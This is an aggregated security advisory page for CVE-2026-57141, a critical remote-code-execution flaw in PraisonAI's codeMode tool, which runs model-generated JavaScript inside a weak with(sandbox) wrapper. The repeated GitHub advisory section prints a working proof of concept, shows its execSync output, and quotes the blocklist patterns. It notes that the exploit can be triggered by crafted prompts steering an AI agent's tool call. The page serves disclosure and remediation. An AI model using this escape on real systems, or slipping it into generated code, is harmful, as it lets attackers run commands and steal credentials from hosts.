PraisonAI: Remote Code Execution via Sandbox Escape in `codeMode` Tool
cve-program · CVE-2026-57141
PublishedPraisonAI is a multi-agent teams system. Prior to 1.7.2, the codeMode tool in src/praisonai-ts/src/tools/builtins/code-mode.ts executes model-generated JavaScript with new Function() and with(sandbox), while a regular-expression blocklist can be bypassed with Function('return this')() to recover the global object and by constructing the child_process module name dynamically. An attacker who can influence the code argument can access host process capabilities, read or write files, obtain environment credentials, and execute operating-system commands with the PraisonAI process privileges. This issue is fixed in version 1.7.2.
Read the publisher's advisoryeuvd · EUVD-2026-78423
PublishedPraisonAI is a multi-agent teams system. Prior to 1.7.2, the codeMode tool in src/praisonai-ts/src/tools/builtins/code-mode.ts executes model-generated JavaScript with new Function() and with(sandbox), while a regular-expression blocklist can be bypassed with Function('return this')() to recover the global object and by constructing the child_process module name dynamically. An attacker who can influence the code argument can access host process capabilities, read or write files, obtain environment credentials, and execute operating-system commands with the PraisonAI process privileges. This issue is fixed in version 1.7.2.
Read the publisher's advisorynvd · CVE-2026-57141
PublishedPraisonAI is a multi-agent teams system. Prior to 1.7.2, the codeMode tool in src/praisonai-ts/src/tools/builtins/code-mode.ts executes model-generated JavaScript with new Function() and with(sandbox), while a regular-expression blocklist can be bypassed with Function('return this')() to recover the global object and by constructing the child_process module name dynamically. An attacker who can influence the code argument can access host process capabilities, read or write files, obtain environment credentials, and execute operating-system commands with the PraisonAI process privileges. This issue is fixed in version 1.7.2.
Read the publisher's advisoryosv · GHSA-p69m-4f92-2v84
Published## Summary The `codeMode` tool in `src/praisonai-ts/src/tools/builtins/code-mode.ts` uses `new Function()` with a `with(sandbox)` pattern to execute LLM-generated code. The blocklist-based "sandbox" can be trivially bypassed via `Function('return this')()` to recover the global object, followed by `global.require()` with string concatenation to evade the blocklist regex. This allows full arbitrary code execution on the host system. This affects all deployments where the code-mode tool is enabled for agents. ## Details **Vulnerable code (lines 187–191):** ```typescript const fn = new Function( 'sandbox', `with (sandbox) { ${code} }` ); const result = fn(sandbox); ``` The `code` parameter comes from LLM tool call arguments (the `execute` method at line 104). Before execution, a regex-based blocklist is applied (lines 108–136): ```typescript const blockedPatterns = [ /require\s*\(\s*['"]child_process['"]\s*\)/, /require\s*\(\s*['"]fs['"]\s*\)/, /import\s+.*from\s+['"]child_process['"]/, /process\.exit/, /eval\s*\(/, ]; ``` **Three fundamental weaknesses:** 1. **`with(sandbox)` does not provide isolation.** The `with` statement in JavaScript adds an object to the scope chain but does NOT prevent accessing the global object. The sandbox object sets `process: undefined` and `require: undefined`, but these are recovered via the global scope: ```javascript const g = Function('return this')(); g.require('child_' + 'process') ``` 2. **Blocklist evasion via string concatenation.** The regex `/require\s*\(\s*['"]child_process['"]\s*\)/` requires the literal string `'child_process'` or `"child_process"` inside `require()`. Using `require('child_' + 'process')` bypasses this because the regex sees a variable concatenation, not a literal string. 3. **`Function('return this')()` is not blocked.** None of the blocklist patterns match `Function(`, `return this`, or `global.require`. ## PoC **Setup:** Clean checkout at commit `d5f1114a`, Node.js v20.20.0 (tested environment). **Positive trigger — full RCE with sandbox escape (OBSERVED OUTPUT):** ```javascript // This code bypasses ALL blocklist patterns and achieves RCE: const code = ` const Func = (function(){}).constructor; const proc = Func('return process')(); console.log('process.version:', proc.version); const g = Function('return this')(); const mod = 'child_' + 'process'; const cp = g.require(mod); console.log('RCE:', cp.execSync('id').toString().trim()); `; ``` **Observed output (executed in this environment):** ``` OUT: process.version: v20.20.0 OUT: RCE: uid=1000(sondt23) gid=1000(sondt23) groups=1000(sondt23),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin),983(docker),984(ollama) ``` The escape was confirmed by executing the exact code-mode sandbox pattern (`new Function('sandbox', 'with (sandbox) { ... }')`) with the blocklist applied first. ALL blocklist patterns were bypassed, and the `id` command returned the real system user ID. **Negative control — blocklist correctly catches direct require:** ```javascript const code = `require('child_process')`; // Returns: "Blocked pattern detected: require\s*\(\s*['"]child_process['"]\s*\)" ``` **Negative control — blocklist correctly catches eval:** ```javascript const code = `eval('process')`; // Returns: "Blocked pattern detected: eval\s*\(" ``` **Cleanup:** No persistence needed; the code runs in-process. ## Impact An attacker who can influence the `code` parameter of the `codeMode` tool (via crafted prompts to an AI agent using praisonai-ts) achieves **full arbitrary code execution** on the host system. This includes: - **Read/write any file** accessible to the process user - **Execute arbitrary system commands** via `child_process` - **Exfiltrate environment variables** containing API keys, tokens, and credentials - **Install persistent backdoors** by writing to startup files - **Move laterally** in containerized environments ## Suggested remediation The `with(sandbox)` + blocklist pattern is fundamentally insecure and cannot be fixed with regex improvements. Replace it with: 1. **Use `vm` module with proper context isolation:** ```typescript import { createContext, runInContext } from 'vm'; const sandbox = createContext({ /* safe globals only */ }); runInContext(code, sandbox, { timeout: 5000 }); ``` 2. **Or use `isolated-vm`** for true process-level isolation with separate V8 isolates. 3. **Or run code in a subprocess** (like the Python `_execute_code_sandboxed` pattern already used in `python_tools.py`) with a clean environment and resource limits. 4. If a blocklist approach must be retained, add patterns for: - `Function(` / `new Function` - `constructor` / `__proto__` / `prototype` - `return this` / `return global` - `global` / `globalThis` / `window` But note: blocklist approaches are inherently fragile and will continue to have bypasses.
Read the publisher's advisoryAffected versions, risk and source history
Exploitation and risk
Source statusCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
cve-program · CVE-2026-57141
PublishedPraisonAI: Remote Code Execution via Sandbox Escape in `codeMode` Tool
PraisonAI is a multi-agent teams system. Prior to 1.7.2, the codeMode tool in src/praisonai-ts/src/tools/builtins/code-mode.ts executes model-generated JavaScript with new Function() and with(sandbox), while a regular-expression blocklist can be bypassed with Function('return this')() to recover the global object and by constructing the child_process module name dynamically. An attacker who can influence the code argument can access host process capabilities, read or write files, obtain environment credentials, and execute operating-system commands with the PraisonAI process privileges. This issue is fixed in version 1.7.2.
- Source published
- 15 Sep 2026 10:14:16 UTC
- Source modified
- 15 Sep 2026 13:52:47 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
euvd · EUVD-2026-78423
PublishedPraisonAI is a multi-agent teams system. Prior to 1.7.2, the codeMode tool in src/praisonai-ts/src/tools/builtins/code-mode.ts executes model-generated JavaScript with new Function() and with(sandbox), while a regular-expression blocklist c…
PraisonAI is a multi-agent teams system. Prior to 1.7.2, the codeMode tool in src/praisonai-ts/src/tools/builtins/code-mode.ts executes model-generated JavaScript with new Function() and with(sandbox), while a regular-expression blocklist can be bypassed with Function('return this')() to recover the global object and by constructing the child_process module name dynamically. An attacker who can influence the code argument can access host process capabilities, read or write files, obtain environment credentials, and execute operating-system commands with the PraisonAI process privileges. This issue is fixed in version 1.7.2.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Sep 15, 2026, 10:14:16 AM
dateUpdated: Sep 15, 2026, 1:52:47 PM
- Source published
- Sep 15, 2026, 10:14:16 AM (timezone not stated)
- Source modified
- Sep 15, 2026, 1:52:47 PM (timezone not stated)
- Saved here
- 11 Nov 2026 14:08:13 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 3.1 · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvd · CVE-2026-57141
PublishedPraisonAI is a multi-agent teams system. Prior to 1.7.2, the codeMode tool in src/praisonai-ts/src/tools/builtins/code-mode.ts executes model-generated JavaScript with new Function() and with(sandbox), while a regular-expression blocklist c…
PraisonAI is a multi-agent teams system. Prior to 1.7.2, the codeMode tool in src/praisonai-ts/src/tools/builtins/code-mode.ts executes model-generated JavaScript with new Function() and with(sandbox), while a regular-expression blocklist can be bypassed with Function('return this')() to recover the global object and by constructing the child_process module name dynamically. An attacker who can influence the code argument can access host process capabilities, read or write files, obtain environment credentials, and execute operating-system commands with the PraisonAI process privileges. This issue is fixed in version 1.7.2.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-94
Original publisher date fields
published: 2026-09-15T11:17:11.617
lastModified: 2026-09-15T14:45:28.563
- Source published
- 15 Sep 2026 11:17:11 UTC
- Source modified
- 15 Sep 2026 14:45:28 UTC
- Saved here
- 25 Oct 2026 14:19:10 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · [email protected] · Secondary · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
osv · GHSA-p69m-4f92-2v84
PublishedPraisonAI: Remote Code Execution via Sandbox Escape in `codeMode` Tool
## Summary The `codeMode` tool in `src/praisonai-ts/src/tools/builtins/code-mode.ts` uses `new Function()` with a `with(sandbox)` pattern to execute LLM-generated code. The blocklist-based "sandbox" can be trivially bypassed via `Function('return this')()` to recover the global object, followed by `global.require()` with string concatenation to evade the blocklist regex. This allows full arbitrary code execution on the host system. This affects all deployments where the code-mode tool is enabled for agents. ## Details **Vulnerable code (lines 187–191):** ```typescript const fn = new Function( 'sandbox', `with (sandbox) { ${code} }` ); const result = fn(sandbox); ``` The `code` parameter comes from LLM tool call arguments (the `execute` method at line 104). Before execution, a regex-based blocklist is applied (lines 108–136): ```typescript const blockedPatterns = [ /require\s*\(\s*['"]child_process['"]\s*\)/, /require\s*\(\s*['"]fs['"]\s*\)/, /import\s+.*from\s+['"]child_process['"]/, /process\.exit/, /eval\s*\(/, ]; ``` **Three fundamental weaknesses:** 1. **`with(sandbox)` does not provide isolation.** The `with` statement in JavaScript adds an object to the scope chain but does NOT prevent accessing the global object. The sandbox object sets `process: undefined` and `require: undefined`, but these are recovered via the global scope: ```javascript const g = Function('return this')(); g.require('child_' + 'process') ``` 2. **Blocklist evasion via string concatenation.** The regex `/require\s*\(\s*['"]child_process['"]\s*\)/` requires the literal string `'child_process'` or `"child_process"` inside `require()`. Using `require('child_' + 'process')` bypasses this because the regex sees a variable concatenation, not a literal string. 3. **`Function('return this')()` is not blocked.** None of the blocklist patterns match `Function(`, `return this`, or `global.require`. ## PoC **Setup:** Clean checkout at commit `d5f1114a`, Node.js v20.20.0 (tested environment). **Positive trigger — full RCE with sandbox escape (OBSERVED OUTPUT):** ```javascript // This code bypasses ALL blocklist patterns and achieves RCE: const code = ` const Func = (function(){}).constructor; const proc = Func('return process')(); console.log('process.version:', proc.version); const g = Function('return this')(); const mod = 'child_' + 'process'; const cp = g.require(mod); console.log('RCE:', cp.execSync('id').toString().trim()); `; ``` **Observed output (executed in this environment):** ``` OUT: process.version: v20.20.0 OUT: RCE: uid=1000(sondt23) gid=1000(sondt23) groups=1000(sondt23),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin),983(docker),984(ollama) ``` The escape was confirmed by executing the exact code-mode sandbox pattern (`new Function('sandbox', 'with (sandbox) { ... }')`) with the blocklist applied first. ALL blocklist patterns were bypassed, and the `id` command returned the real system user ID. **Negative control — blocklist correctly catches direct require:** ```javascript const code = `require('child_process')`; // Returns: "Blocked pattern detected: require\s*\(\s*['"]child_process['"]\s*\)" ``` **Negative control — blocklist correctly catches eval:** ```javascript const code = `eval('process')`; // Returns: "Blocked pattern detected: eval\s*\(" ``` **Cleanup:** No persistence needed; the code runs in-process. ## Impact An attacker who can influence the `code` parameter of the `codeMode` tool (via crafted prompts to an AI agent using praisonai-ts) achieves **full arbitrary code execution** on the host system. This includes: - **Read/write any file** accessible to the process user - **Execute arbitrary system commands** via `child_process` - **Exfiltrate environment variables** containing API keys, tokens, and credentials - **Install persistent backdoors** by writing to startup files - **Move laterally** in containerized environments ## Suggested remediation The `with(sandbox)` + blocklist pattern is fundamentally insecure and cannot be fixed with regex improvements. Replace it with: 1. **Use `vm` module with proper context isolation:** ```typescript import { createContext, runInContext } from 'vm'; const sandbox = createContext({ /* safe globals only */ }); runInContext(code, sandbox, { timeout: 5000 }); ``` 2. **Or use `isolated-vm`** for true process-level isolation with separate V8 isolates. 3. **Or run code in a subprocess** (like the Python `_execute_code_sandboxed` pattern already used in `python_tools.py`) with a clean environment and resource limits. 4. If a blocklist approach must be retained, add patterns for: - `Function(` / `new Function` - `constructor` / `__proto__` / `prototype` - `return this` / `return global` - `global` / `globalThis` / `window` But note: blocklist approaches are inherently fragile and will continue to have bypasses.
- Source published
- 18 Jun 2026 14:26:37 UTC
- Source modified
- 20 Jul 2026 21:56:45 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Publisher rating · CRITICAL